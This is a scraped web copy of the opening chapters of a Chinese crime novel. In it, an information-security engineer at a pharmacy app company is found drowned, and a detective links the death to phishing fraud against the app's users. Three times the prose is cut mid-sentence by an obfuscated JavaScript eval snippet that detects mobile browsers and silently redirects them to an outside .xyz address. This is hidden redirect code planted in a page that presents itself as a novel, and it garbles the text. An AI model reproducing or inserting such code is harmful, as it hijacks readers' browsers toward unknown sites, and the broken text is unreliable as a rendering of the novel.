《画指为牢》 1. 开端 早上七点四十分,沈政宁像往常一样离家出门,沿着曲折的红胶步道穿过小区花园。进入九月,清晨已不复夏日的晴朗炎热,却也不至于突然间变为清冷深秋,正是一年、乃至一日之中最为凉爽宜人的时段。 一只没带项圈的灰黑色法斗犬不声不响地从他身后超过,它的主人慢悠悠地跟在后面,那是个典型的盛安市“老地户”形象——高鼻梁,短寸头,眼皮耷拉下来遮住一半的瞳孔,显出一副睡不醒的惫懒样子,旁若无人地哼着小曲,对遛狗不牵绳的行为没有丝毫自觉。 沈政宁克制地把目光从法斗犬褶皱的后脖颈移开,听见前面传来响亮的狗吠声。一只大约小腿高的柴犬正大声地朝对面高大的金毛犬嚷嚷,金毛犬则宽容而沉默地对它视而不见,双方主人拉着牵引绳擦肩而过,柴犬主人露出尴尬的微笑,金毛主人则默默地点头致意。 小区门禁外是一条大约五百米内部道路,开发商将其命名为“梧桐大道”,选择了高大的梧桐树作为绿化植物。层层绿荫分隔开了四个幽静的别墅园区,路上行人不多,偶尔会有人牵着两只滚圆的柯基犬经过。 这个社区里居住着众多爱狗人士,他每天出门都会遇到各式品种的宠物狗,但沈政宁从来没有上前抚摸或逗弄过那些毛茸茸的小东西,更别说与狗主人主动攀谈,看起来就像个不喜欢狗的冷漠路人。 梧桐大道的尽头是小区的正门,门外右转几十米则是主干道。穿过大半个城区的新柳河与主干道平行,再向前数百米,两座横跨新柳河的白桥遥遥相望,分别是“高新大道路桥”和“高新大道东路桥”。路桥西侧是围绕着河流建成的新柳公园,东路桥下则属于未开发区域——雨季刚过,树木疯长,一眼望去仿佛荒无人烟的热带雨林。 过了桥,几座疏疏落落的崭新写字楼矗立在大片荒地和高架桥之中,显得有点突兀。这片商业办公区域至今仍在建设中,很多基础设施尚且不完善,和“宜居”显然相去甚远,但由于地价相当便宜,吸引了不少初创企业入驻。 沈政宁供职于其中一家名叫“橘泉医药”的互联网公司,公司规模不大,涉及的数据量有限,需求也简单,整体而言还算轻松。 他在人脸识别的打卡机前站定,打卡成功的页面上显示“八点十分”——刚好三十分钟的通勤时间,在上班开始前还有二十分钟可以从容地吃完早饭并泡好咖啡。如果坐公交或者骑车,他的睡眠时间会更充裕一点,不过对于他们这种对着电脑一坐一整天的亚健康人群来说,每日来回一小时的步行已经是底线级别的身体锻炼了。 八点半,同事们陆续抵达工位,办公室里弥漫着食物与咖啡香混合的味道。沈政宁打开邮箱,点掉几封未读邮件,浏览器弹出了花花绿绿的新闻页面,他粗略扫了一眼,明星八卦后紧跟着标题浮夸的社会新闻——“又一‘特训机构’被曝光,警方已介入调查”“租客失联屋内堆满垃圾家政无从下手”“救命钱打水漂追悔莫及,警惕这种新型诈骗”,于是毫无兴致地关掉了弹窗。 “政宁。” 有人停在了他的工位旁边,青年身材修长,穿着淡蓝色衬衣和灰色休闲裤,打理得干净整齐,胸前的工牌上写着“叶桐生,信息安全工程师”。 他笑眯眯地递来一个浅绿色手提袋,沈政宁下意识起身,却没有立刻接过那个手提袋:“早。这是……?” 叶桐生把手提袋放在桌面上,眨了眨眼,用双方才能听见的低音量轻快地说:“一点谢礼,那天幸亏有你,要不然我年终奖得被扣成负数。” 两人是不同部门的同事,很少有工作以外的交集,所以几天前的周末夜晚,沈政宁忽然收到叶桐生的微信,问他可不可以帮个忙时,他还小小地吃了一惊。 那时叶桐生休年假正在英国,大晚上突然接到系统故障的消息,赶紧摇人抢修。按理说这是后端的工作,跟他关系不大,沈政宁大可委婉拒绝,但当天叶桐生显然是走投无路,话中含糊带过其他同事“不方便”,沈政宁看他实在窘迫,最终还是没有狠下心来拒绝他。 “你太客气了,”沈政宁温和地说,“都是同事,随手帮个小忙而已,不用这么郑重。” 叶桐生笑意加深,把手提袋往他的方向推了推:“不是什么贵重的东西,就当伴手礼了,都是同事嘛。” 他既然这样说,沈政宁也没有执意推辞,职场上的人情往来是常态,比起帮忙后对方一声不吭,叶桐生这种承情的态度要顺眼得多:“那我就不客气了,谢谢你的伴手礼。” 叶桐生弯起眼睛,看上去像是松了口气:“应该是我说谢谢才对。” “度假怎么样,英国好玩吗?” “还不错,我喜欢福尔摩斯,买了很多周边。” “推理小说爱好者?” “哈哈,算是吧,不觉得我的工作和侦探很像吗?好了,不打扰你工作了,我先回去了。” 他结束了闲聊,轻快地朝沈政宁摆摆手,转身走出了办公室。 沈政宁拿过那个绿色的礼品袋,里面装着一盒茶叶、一盒黄油曲奇以及一盒纪念明信片,都是不过分贵重的日常纪念品。他把曲奇和茶叶拿出来,将明信片收进电脑包,打开了桌面上的办公软件。 有个问题萦绕在他的心间,不过他没有向叶桐生问出来,比起对方的直接,沈政宁更倾向于从观察和旁敲侧击中试探出答案。 为什么会找我帮忙呢? 晚上七点半,沈政宁拎着包离开了办公室,天色已然擦黑,白炽灯照着空荡走廊,有种灰色的冷清。他朝电梯间走去,听见前面隐约传来人语声,转过拐弯处,电梯厅前站着叶桐生和公司副总高启辉,一见到他,两人立刻默契地同时住口。 沈政宁识趣地放慢了脚步,主动打招呼:“高总。” 高启辉比沈、叶两人都要矮半头,体型偏胖,头发稀疏,不过从衣着到配饰都是名牌,短粗手指转着宝马车钥匙,不冷不热地“嗯”了一声。 叶桐生只点了点头作为回应,态度相当平淡,目光飞快地落回高启辉身上,仿佛是不太愿意在上司面前分心注意不相熟的同事,与清早那种亲切活泼的态度完全不同。 幸好这种微妙而尴尬的沉默没有持续多久,很快电梯到达,三人走进半满的轿厢,片刻后叮地一声铁门滑开,电梯吐出一大团加班社畜,只有高启辉和叶桐生还留在原地没动。 这栋楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853318|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里有十几家小公司聚集办公,地下车库车位有限,分配给各家的就更少,因此公司一向要求员工将私家车停放在公司外的路边,只有领导才可以使用更方便的地下车库。 液晶屏上数字闪动,最终定格在鲜红的B2。 出了公司大门,月亮已经升起来了,马路空旷无人,路灯懈怠地沉默着,沈政宁走在凉爽的夜风里,漫无边际地思考着晚饭吃什么——买菜自己做的话,等吃上饭至少要一小时之后,外卖也要等很久,而且附近餐厅很少,好吃又干净的更加寥寥无几,再说这么晚了吃得太饱也不健康…… 走过路桥,前方暖黄的灯光缀连成片,新柳公园门口的马路上支起了零星小摊,食物经过油炸混合上酱料的香气在开始转凉的夜晚变得加倍诱惑。 空地上支着两排易拉宝,是关于中秋灯会的海报,旁边有家煎饼摊,红底塑料布印着黄色的“正宗煎饼(凉皮)”,旁边挂着一张塑封菜单,有煎饼、烤冷面、手抓饼、各种粥和小食。摊主是一对老夫妇,丈夫照管着烤肠机,妻子一边铲走铁板上多余的边角料,一边问:“您吃点什么?” “紫米煎饼,多加一个鸡蛋,不要咸菜。” “辣椒要吗?” “放一点就行。” 老板娘从塑料桶舀了一勺面糊,在转盘上均匀地推开,磕了一个鸡蛋上去,沈政宁沉默了片刻,见她没有别的动作,只好主动开口:“我要两个鸡蛋。” “哎呦,两个鸡蛋吗?我给忘了。”老板娘赶紧从旁边小筐里拿了个鸡蛋,这时丈夫接过了她手里的铲子,顺便给饼翻了个面:“我做吧,你收拾收拾东西,准备回去了。” 他朝沈政宁抱歉地笑笑:“不好意思,上岁数了,一到晚上就犯困……葱花香菜吃吗?” “没事,不要香菜。”沈政宁说,“你们也挺辛苦的,今天生意看起来不错。” 老板乐呵呵地说了句“还行”。 口袋里的手机震动起来,他看了一眼来电显示,默默地深吸气,接了起来:“喂,妈?” “嗯,刚下班,还在回家路上。” “没事,最近有点忙……正准备买饭,你吃饭了吗?最近还好吗?” “中秋节……” 他一边听着电话,一边瞥向旁边的海报,9月25日中秋节,当晚七点公园里会举办中秋灯会,届时还有夜市和舞台表演。 海报的最后一行没有句号……对于强迫症来说很难受,但其实并不会有人在意。 “不回去了,我们可能要加班,你们一起过吧,替我向叔叔他们问好……嗯,好,拜拜。” 他挂了电话,老板将裹好的煎饼一分两半装进纸袋,再套上塑料袋递给他:“趁热吃,我们家薄脆是今天现炸的,软了就不是那个味儿了。” 沈政宁收回目光,热意透过薄薄的纸袋烫着手心,煎鸡蛋的香气分外诱人,可惜他做不到在露天的马路上吃东西,哪怕没有任何人会注意到他。 像是有无形的盔甲缚住了他的肢体,他再期待自己的晚餐,也只能等回到家后,坐在餐桌前吃放凉的、软掉了的煎饼。 他说了声“谢谢”,拎着煎饼离开了公园。 2. 案发 “妈妈……妈妈!” 卧室里传出带着哭腔的细声呼唤,犹如尖锥扎在刺痛的神经上,陈椿赶紧放下手机奔向卧室:“来了来了,桃桃,妈妈在这儿呢。” 女儿躺在被窝里,双颊烧得红扑扑的,大眼睛里汪着泪花,哑着嗓子又喊了一声“妈妈我难受”。陈椿心疼得要命,恨不得自己替她受这份罪。她从床头抽了张纸巾擦去桃桃脸上的泪水和鼻涕,把女儿心爱的玩偶压在被角上,隔着被子轻柔地拍拍她:“没事啊桃桃,等一会儿吃了药就不难受了。” 桃桃抱紧了小狗脑袋:“妈妈,我不想去医院打针。” “嗯,先不打。”陈椿用手背贴着她发烫的额头,“如果今晚你能退烧,咱们就不去医院。” 说着她有点发愁地叹了口气,晚上她带着女儿去逛公园的中秋灯会,中途忽然下起了大雨,幸亏遇见好心人帮她们撑伞送到公交站,好歹没有淋成落汤鸡。到家后她赶紧给孩子洗澡换衣服灌热水,结果躺下不到半小时桃桃就哭着说身上痛,还是没能逃过着凉发烧的命运。 桃桃在被窝里左扭右扭,病得没力气也不肯安分待着:“妈妈我不怕喝药,我同桌说她特别特别怕苦,她每次发烧都想去打针。” “是呀,桃桃很厉害。”陈椿,“不过为了早点好起来,即使害怕,我们也应该勇敢地去看医生,对不对?” 小女孩不服气地鼓起脸:“妈妈从来没有自己去打针,都是让我打,妈妈也怕打针。” 陈椿怔了一怔,稍有平息的头痛突然变本加厉地跳动起来,她还没想到该怎么回答,放在外间的手机忽然响起了短信提示音,她连忙起身,匆匆嘱咐:“好了,你不许嚷嚷,乖乖躺好,妈妈去拿下手机。” 走到客厅,陈椿点开短信,顿时皱起了眉头。 现在已经是凌晨时分,家里的退烧药用完了,附近的药店也关门了,她从网上24小时营业的药房里下单了儿童退烧药,结果刚才药房突然发消息来,说是目前退烧药缺货,让她退款另行购买。 桃桃在房间里动来动去闹个不停:“妈妈,妈妈——我想看绘本——” “妈妈马上来,等我一下。” 陈椿随口答应着,匆匆点进链接退款,又打开软件换了家药房买退烧药,付款成功后随手放下手机,赶回到卧室安抚女儿。她今晚也淋了雨,脑子里像搭了根漏电的高压线,带着眼眶一跳一跳的疼,不知道是不是感冒的前兆,决定等女儿睡着后冲包感冒冲剂喝掉。 过了一会儿,手机铃声响了,她走出去接电话,送药的外卖员告诉她药品已经送达,按照备注放在了家门口。陈椿倚着门,屏息等门外对方的脚步声彻底远去,才开门将挂在把手上的纸袋拿进来。 桃桃吃了药,终于迷迷糊糊地睡了过去,陈椿松了口气,只觉得有颗弹力球在脑袋里来回乱撞,头疼得更厉害了,勉强撑着床沿站起来。 手机又“嗡嗡”地震动起来,她怕吵到女儿睡觉,赶紧带上卧室门,一手接起电话:“喂?” “您好,您的外卖到了,给您放家门口了。” “嗯?”陈椿莫名其妙,“什么外卖?” “橘泉送药。”外卖员的声音同时在电话和门外响起,“等我看下啊……您是503陈女士,尾号8798是吧?” 陈椿:“……” “你先放门口吧。”她艰难地说。 “好的。” 可是十几分钟前药已经送到了……难道是没有成功取消订单?既然有药,那又为什么要通知她缺货,还是说第一份退烧药有问题? 陈椿思绪凌乱地把另一袋药拿进来,在这短短半分钟之内,手机又接连响了几声。不祥的预感在胸膛里冲撞,潜意识似乎已经找到了答案,可思维却陷入了短路,她手指颤抖得几乎划错锁屏,紧接着看到了页面上连续四条银行短信提示。 陈椿眼前一黑,脑子里“嗡”的一下。 那根跳跃着火花和刺痛的电线终于爆炸了,她像甩开一块烫手的火炭一样丢开了手机,蜷成小小一团,把自己囫囵塞进了窄小的餐桌下。 月色银白如雪,寂静的幽夜里,传来了低低的饮泣。 “袁航!” “在,怎么啦?” 袁航从套间门口探出头来,锦西分局刑大队长秦东明一心二用地边敲键盘边回微信,把内网信息转发给他,头也不抬地吩咐:“丹坊镇辖区派出所报上来一个案子,清源污水处理厂通往新柳河的排水口附近发现一具无名男尸,不排除刑事案件的可能,你带人出个现场。” 办公桌旁边的打印机“滋滋”地吐出笔录,袁航拿过来囫囵看了一遍:30岁左右的男性,溺水死亡,后脑处有明显外伤,看来这就是不排除刑案的原因,不过落水后被河道中的石头或者排水管撞到头的前例也并不鲜见,有可能是自杀,或者一场不幸的意外。 先入为主不可取,但只要是人就免不了倾向性,他一边在心里祈祷不是凶杀案,一边将打印纸随手叠吧叠吧塞进兜里:“好嘞秦队,那我去了。” “做好现场处置,尤其是注意影响。”秦东明说,“有什么新情况及时向队里汇报。” 袁航微微一愣,一时没领悟到那个“尤其是”的具体含义,含糊地点点头:“我明白了。” 他给法医和技侦发了消息,出门右转,还没走两步,腿上突然“扑通”撞到了某个半软不硬的物体,袁航一低头,对上一张被口罩遮住了三分之二的小脸,琥珀珠子般的大眼睛里迅速涌起了泪花:“呜哇……” “我……这谁家孩子?”袁航堪堪咽下粗口,赶紧伸手把小女孩从地上捞起来,托着腋窝恭恭敬敬地把她平移到走廊塑料椅上,“对不起对不起,叔叔走路没看道,撞哪儿了?摔疼了没有?不哭不哭……” 声音惊动了隔壁反诈办公室,一个盘发的年轻女人匆匆冲出门来:“桃桃?!怎么了?” “实在不好意思,刚才不小心撞到您家孩子了,摔了个屁股蹲儿。”袁航赶紧道歉。他看见对方神情憔悴,满眼都是红血丝,不难想到这是来报案的受害人,已经遭受了巨大精神打击的人禁不住任何刺激,他朝办公室里探头望风的丁晟招了招手,示意他赶紧过来接手,不要耽误他出警。 好在小女孩只是干嚎两声,一看见妈妈就火速收住了眼泪,那位女士安抚了几句,点点女儿的脑门,起身歉然地向袁航颔首:“警察同志不好意思,怪我没有看住她乱跑,打扰你们工作了。” “没有没有,您别这么说,孩子没事就行。”袁航胡乱地朝她点了个头,对丁晟说,“你们忙,我出现场,走了。” 几乎是逃跑一样离开了走廊,出了警局正门,他猛吸了一口马路上的车尾气,才觉得那种冷雾般萦绕在眼前的压抑感徐徐地消散在秋日下午明亮的阳光里。 袁航自忖不算是神经纤细敏感的类型 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853319|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但冷不丁见到那种完全无害、却让人提心吊胆的脆弱感,就好像满是裂痕的玻璃花瓶被一根细线提吊着悬在空中,正常人的第一反应绝不是伸手去接,而正因为能预见到它一触就破的命运,反而情不自禁地想要远离。 新柳河边拉起了长长的警戒线,岸边茂密的树丛下堆满松软潮湿的落叶,两岸比河面高出不少,未经修缮的乱石和土坡看起来相当陡峭,旁边斜斜地插着一块“禁止游泳,禁止垂钓”的告示牌。 尸体被安放在河岸上,袁航带上手套和鞋套,跟法医一起蹲在塑料布旁边观察。死者皮肤苍白,口中有白色细小泡沫,尸斑浅淡,手指表皮皱缩,典型的溺死征象,后脑有一处很深的伤痕,伤口处有肉眼可见的泥沙。 死者穿着黑色的短袖T恤,卡其色休闲长裤,棕色系带休闲鞋,手腕上戴着一只机械表,指针停在了十二点零八分。 “死者虽然后脑有挫伤,不过从尸体征表来看,死因十有八/九是溺亡,初步推断死亡时间为14个小时左右,也就是昨晚11点到凌晨时分,更具体的还要等进一步的详细检查。”法医扶着膝盖起身,袁航扭头问旁边的派出所民警:“报案人是谁?” 民警是个年轻小伙子,可能还没习惯直面尸体,视线一直往旁边飘:“报案人是几个在河边钓鱼的退休大爷,远远看见排水口那有东西卡住了,出于好奇凑过去观察,发现是个人,就立刻报警了。” “现场有什么遗留物证?” 勘验人员举起一个透明证物袋:“死者裤子左边口袋有两颗牛奶糖,没有其他随身物品了。” “手机呢?钱包钥匙身份证件……什么都没有吗?” 对方摇摇头。 袁航摸了摸下巴,喃喃嘀咕:“不是吧,还是个无名氏?” 民警指着他的左后方:“袁哥你来之前,我们已经以尸体发现地点为圆心,在附近搜寻过一遍了,没发现什么特殊的物证。” 袁航顺着他手指扭头看过去,不远处的河道边有一截巨大凸起的钢筋混凝土水管,管口盖着铁丝网,附近区域漂浮着水草和垃圾。 这里很可能不是第一现场,但离第一现场不远,从某种程度上来说算是不幸之中的幸运:死者落水后被水流带到附近,刚好被排污管拦住,才能这么快被人发现,如果毫无阻滞地顺流而下,过几天后再发现,可就不是现在这个样子了。 他抬起下巴指向饱经风吹雨打锈迹斑斑的告示牌,揶揄地问:“不是‘禁止垂钓’吗?” “呃,”民警讪讪地说,“我们也劝阻过了,但是劝得太狠吧……怕大爷犯心脏病。” 袁航耷拉着眼皮“嗯”了一声,他是个天生下垂眼,放松时面相显得有点惫懒:“今天看见这场面,大爷就能睡得香了。” 民警没忍住笑了一声,想起这是命案现场,赶紧把笑声咽回肚子里。袁航又回身仰着头四下寻摸了一遭:“这里没装监控吗?” “这片还是未开发区域呢,附近是污水处理厂和垃圾站,平时除了钓鱼大爷,基本没什么人来。” “那就只能调旁边主干道的监控了,搜索范围还要往上游更远处推进,还有对岸也要纳入搜寻。如果他真是自杀的话,手机和随身物品说不定还留在上游的某个地点。” 袁航撑着膝盖起身,无言地望向波光粼粼的水面。能让迷题迎刃而解的“线索”就像这条河里的鱼,他开始理解大爷的心态了。 3. 身份 袁航回到局里时已经五点多了,丁晟正嚼着坚果等下班,余光瞥见他从门口路过,从办公椅上支出去半个身子,热情招呼道:“哟,袁哥回来啦!来吃点坚果补补脑,案子怎么样?” “毫无进展,只能跪求法医和监控老爷赏饭吃。”袁航走进凉爽的办公室,毫不客气地一屁股坐在他办公桌上,随手从罐子里抓了一把核桃仁,“下午那小姑娘是怎么回事?” “啧,不专业了吧?都进我办公室了还能是啥事,电信诈骗呗。”丁晟指着电脑屏幕,“昨儿晚上小孩发烧,孩子妈妈上网买药,收到通知短信说缺货了让她退款。孩子妈妈一着急,没仔细看就点进诈骗网址了,退单后又重新下单了一份退烧药,结果手机中病毒,支付密码暴露,被划走三万多块钱。好在她支付软件绑定的卡上没存太多钱,也没开信用付款,损失还不算太大,不过那也够她难受好一阵子了。” “她用的什么买药软件?钱还能追回来吗?” “一个叫‘橘泉医疗’的医药APP,功能还挺齐全的,比如买药送药医院陪诊之类。像她这种情况就是注册信息泄露,骗子撒网捞鱼,估计追回来的希望渺茫。”丁晟说着叹了口气,“真缺德,人家妈妈自己带小孩,又要报案又得顾着孩子,你也看见她那状态了,哎呀看得我心里都难受。” 袁航耳朵尖微微一动,重复道:“‘橘泉’?” 丁晟还在唏嘘不已:“嗯呐,咋了,你也用?” “有点耳熟,我好像在哪儿听说过。”袁航摸摸下巴,“嘶,想不起来了。” 丁晟摸了两粒巴旦木丢进嘴里,在耗子啃门似的“咯吱咯吱”声里说:“说不定你们家有人用过这个APP,你回去问问,顺便宣传一下,让家里老人提高警惕,别随便点进陌生短信链接,谨防电信诈骗。” 袁航心不在焉地“嗯”了一声,脑子还在捕捉那种隐约莫名的熟悉感——到底是在哪儿听说过呢? 9月27日清晨,新柳河溺水者的身份已然浮现出水面。死者名叫叶桐生,29岁,单身,职任橘泉医药科技公司信息安全工程师。 查明叶桐生住址后,警察调取了沿途的监控记录,确认他于九月二十五日傍晚六点半左右离开家,步行前往新柳公园,中途在一家快餐店用餐,七点四十分到达新柳公园,从南门进入,由于当晚公园举办中秋灯会,公园客流量很大,所以入园后的监控只断断续续拍到他两次,八点半左右开始下雨,能见度进一步降低,他的身影再也没有出现在视频里。 监控最后拍到的画面是八点十分,叶桐生用正常散步的速度走入了公园市集,来来往往的人像河流带走一滴水一样,彻底掩盖了他的踪迹。 他有身家清白的履历,稳定的工作和生活,会在中秋夜出门看灯,偶尔驻足拍拍照片,身边的人来了又去,屏幕内外,谁也不知道他心里在想些什么。 他会是自杀吗? 会议室内,众警察围坐在长桌边,副队长代林主持案情讨论:“还有什么发现?” 袁航说:“我们联系运营商调取了叶桐生的通话记录和手机最后位置,他的最后一通电话是9月25日下午3点接到的运营商电话,手机最后信号定位则是在尸体发现地点上游200米处。监控显示死者身穿灰蓝色长袖连帽外衣,没有背包,推测死者的手机和随身物品都在衣服口袋里,我们和派出所民警一起搜索了新柳河沿岸、两座路桥以及新柳公园附近,重点搜索了手机最后定位附近,均未发现死者遗留物品。” “现在有了微信,年轻人都不怎么用电话和短信联系了,但是我们没找到叶桐生的手机,暂时无法获取他的微信聊天记录。代队,我想是不是应该询问一下叶桐生所在公司的同事,向他们收集一些线索。” “可以。”代林问,“死者家属呢?联系上了吗?” 另一名警察答道:“联系上了,叶桐生老家在兴城,是独生子,他父母正在赶来的路上,预计明天下午到盛安。” 代林沉声道:“好,大家都辛苦了。咱们今天已经初步理清了基本信息,接下来要做穿针引线的细致活,找出关键证据,查明受害人的死亡原因,把案子办得扎扎实实。” “袁航,你明天带人走访橘泉科技公司,重点排查死者的社会关系;小姚联系辖区派出所,继续在新柳公园附近搜索,寻找9月25日当晚的目击者和物证;吕妍,调一下死者就医记录,重点关注过往病史,明天叶桐生父母过来认领尸体,你配合法医,做好家属接待工作。” “是!” 会后,警察们各自散去忙碌,只有袁航慢了一步,代林敏锐地问:“怎么了,还有什么问题?” “代队,”袁航摸了摸鼻头,“我想带上丁晟一起去橘泉科技。” “理由。” “丁晟昨天接到一个电信诈骗报案,受害人使用橘泉的买药APP后,呃,收到了诈骗短信……” 他打了个磕绊,代林了然地睨着他:“自己都觉得太牵强了吧?就因为叶桐生是橘泉公司的员工,所以强行认为两个案子之间有某种关联?” 袁航有点郁闷地垂下脑袋:“也没有那么强行吧……” “我用的是疑问句。”代林端起自己的茶杯,一针见血道,“你是主办人,你觉得有问题,那就追查到底,证明你的直觉,或者证明是巧合。案子没有对错,只有事实,你得用证据说话。” 他甩着笔记本在袁航肩头重重一拍:“你小子,要学的东西还多着呢。” 9月28日,清晨。 漆着“公安”字样的警车停在大楼门前的空地上,袁航带着丁晟坐电梯上4楼,跟在前台身后,大步流星穿过铺了静音地毯的走廊。 沿途落地玻璃门内摆着半人高的铁皮柜,袁航余光里全是躲在绿植后抻长脖子看热闹的人头,那场面有点惊悚,仿佛树梢顶上突然出现了一排长颈鹿脑袋。 无数目光和窃窃私语交织成巨幅蛛网,无论走到哪里都能感觉到那甩不脱的游丝。 “是公安,车在楼下停着呢。” “是为叶桐生那事来的吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853320|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不然还能因为什么,偷税漏税吗?” 沈政宁竖着耳朵一心二用地敲键盘,等确认文件保存完毕,才把视线从屏幕上移开,探究地看向走廊外的热闹。 也许是周边好奇的探究视线过于露骨,而警察的感知力又比一般人更加敏锐,走廊上的警察恰好也在此时回头,朝无数注目回以平静而充满力量的一瞥。 犹如按下了暂停键。 隔着玻璃四目相对,袁航忍不住挑了下眉,终于想起来自己为什么会觉得“橘泉”这家公司耳熟了。 对方的惊讶眼神确认了他的猜测,虽然多年未见,但的确是熟人。 他的高中同学沈政宁,他少年时代最“特别”的朋友,两人毕业后各奔东西,此后就没怎么联系过,只在几年前从别的同学口中听到过他的近况,没想到竟然会在这种场合下遇见。 工作场合,又是当着这么多人的面,袁航没法表示得更明显,只幅度很小地点了个头致意,在接待员的引导下走进了会议室。 进门时丁晟胳膊肘轻轻顶他,悄声问:“碰见认识的人了?” “嗯。”袁航嘴唇不动,从喉间挤出一丝气声,答道,“一会儿我打听打听。” 他们在会议室坐定,片刻后,两个西装革履的男人推开磨砂玻璃门走了进来。袁航起身亮证件:“您好,我们是盛安市公安局锦西分局刑侦支队刑警,有一起案件向你们了解情况,请相关人员配合调查。” “警察同志好,二位请坐、请坐,小孙,去倒点水。”灰色西装的矮胖男人勉强挤出虚浮的笑容,“实在不好意思,我们董总上午有点事,没在公司,我已经给他打电话了,正往回赶呢。我是公司副总裁高启辉,这是我们法务总监何川,您看有什么需要我们提供的,我们一定尽力配合。” 丁晟打开执法记录仪,袁航从笔记本内页中抽出一张照片,推给对面二人:“认识这个人吗?” 两人不由自主地对视一眼,神情僵硬而拘谨,高启辉欲盖弥彰地清了清嗓子:“认识,这人是我们公司信息安全工程师,叶桐生。” “叶桐生在两天前、也就是9月25日当晚去世了,两位对他当天的行程有了解吗?他最近有没有什么异常?” 高启辉嗫嚅了半天,终于深吸一口气,鼓起了勇气说:“警察同志,其实吧,叶桐生这事公司里都传遍了……叶桐生他、他是自杀吗?” “你为什么认为他是自杀?”袁航记着笔记,撩起眼皮望着他,“遗体是在新柳河附近发现的没错,但也有可能是失足落水,意外事故。” 大概他的态度过于直接,高启辉正面接了他一记质问,冷汗立刻就下来了,抖着手摸出手机,紧张地解释:“不是,那个,我是看了他的朋友圈!公司的人都知道,警官,你看他那天晚上发的……” 袁航接过他的手机,看到了叶桐生空荡荡的主页里唯一的一条朋友圈—— 【对不起】 配图是一张漆黑的照片,发布时间9月25日10点43分。 4. 询问 警察至今没有找到叶桐生的手机,社交账号的记录尚在调取,这个证据的力度可谓相当强劲,袁航马上吩咐旁边队员:“拍下来留证。”又转头问高启辉,“照片也发我一份,加个微信可以吗?” 高启辉忙不迭答应,袁航顺手在他手机上操作。由于高启辉是直接从聊天记录点进叶桐生的头像,再从个人页面打开朋友圈,因此当退出朋友圈时,两人的聊天页面就这么大喇喇地摊开在了袁航眼前。 他飞速扫了一眼,叶桐生对公司领导还算尊敬,两人最近的消息是9月25日下午发文件讨论工作,没什么异常。袁航用自己的手机加上高启辉的微信,将叶桐生朋友圈的图片转发给自己,将手机递还给高启辉:“25号是中秋节,那天放假,你们还在谈工作?” 高启辉谨慎地答道:“为了维护系统正常运行,工程师都是随时待命的。” “叶桐生是个什么样的人?平时在公司人缘怎么样?有跟他关系比较近的同事吗?” “他是四、五年前进的公司,Z大毕业的,以前在大厂工作,后来跳到我们公司,嗯,能力很强。信息安全部门相对其他部门来说比较独立一些,但是平时他跟领导同事相处的都挺好的,没听说过有什么矛盾。” “我印象里他是个有点内向的人,这个岁数了也没结婚没小孩,但他不是那种孤僻拧巴的性格,跟谁都过得去,不得罪人,要说跟他关系特别好的……这个确实不太清楚。” 法务总监何川插嘴道:“他跟小沈是不是关系还行?我听说上次从英国回来还带礼物了。” 袁航:“谁?” “研发部的工程师沈政宁。”高启辉立刻说,“警官需要的话我让人叫他过来。” 袁航抬手比了个稍等的手势:“这个待会儿再说,你说叶桐生是那个什么安全部的,他和部门内的同事关系怎么样?” 高启辉脸颊肌肉似乎微微抽搐:“这个……他们部门今年离职了两个人,目前只有叶桐生和一个实习生。” 袁航审视的目光犹如针尖逼近他的瞳孔:“详细说说。” 空气陷入滞涩的沉默,像滑落下去缓慢凝固的烛泪,十几秒之后,高启辉才开口解释:“每个互联网公司都需要信息安全团队,我们公司组建之初就设立了独立的信息安全部门,但是近年来,综合考虑到各方面的因素,公司决定逐步精简信安部,保留骨干人员,与其他支持部门合并,进一步优化结构、降本增效……” 袁航像个捡破烂的,艰难地从他滔滔不绝的黑话里挑捡有用信息:“也就是说你们公司要把整个安全部门砍了,是这个意思吗?为什么?” 高启辉尴尬地笑了一声:“警察同志,这跟叶桐生的事没有关系吧?” 袁航就像敏锐老辣的猎手,对方稍有动摇,立刻会被他牢牢抓住不放,他面无表情地说:“有没有关系,警方会做出判断,高先生,请配合我们的工作。” 想在刑警面前隐瞒对心理素质和胆量的要求还是挺高的,高启辉扯过两张纸巾擦净脑门上的冷汗,把纸巾团用力攥在手心里,在众人注目下踌躇了数秒,才沉沉地开口: “其实是从上半年开始,公司陆续接到一些投诉,客户反应经常收到骚扰诈骗短信,公司很重视这事,高层们怀疑是信息泄露,让信安部加紧排查系统漏洞,但没有查出什么有用的结果,董总对他们的工作很不满意,所以……” “公司是否就这件事对叶桐生做出过处罚?比如扣工资,或者劝退?” “出了这种事,不可能还和和气气你好我好,那不现实,大家都是出来打工的,要对自己那一摊事负责任的。”高启辉苦笑道,“但是警官,公司真没打算逼退叶桐生,也没有要打压谁,那两个离职的都顺利找到了下家,这件事我们也是受害者。” 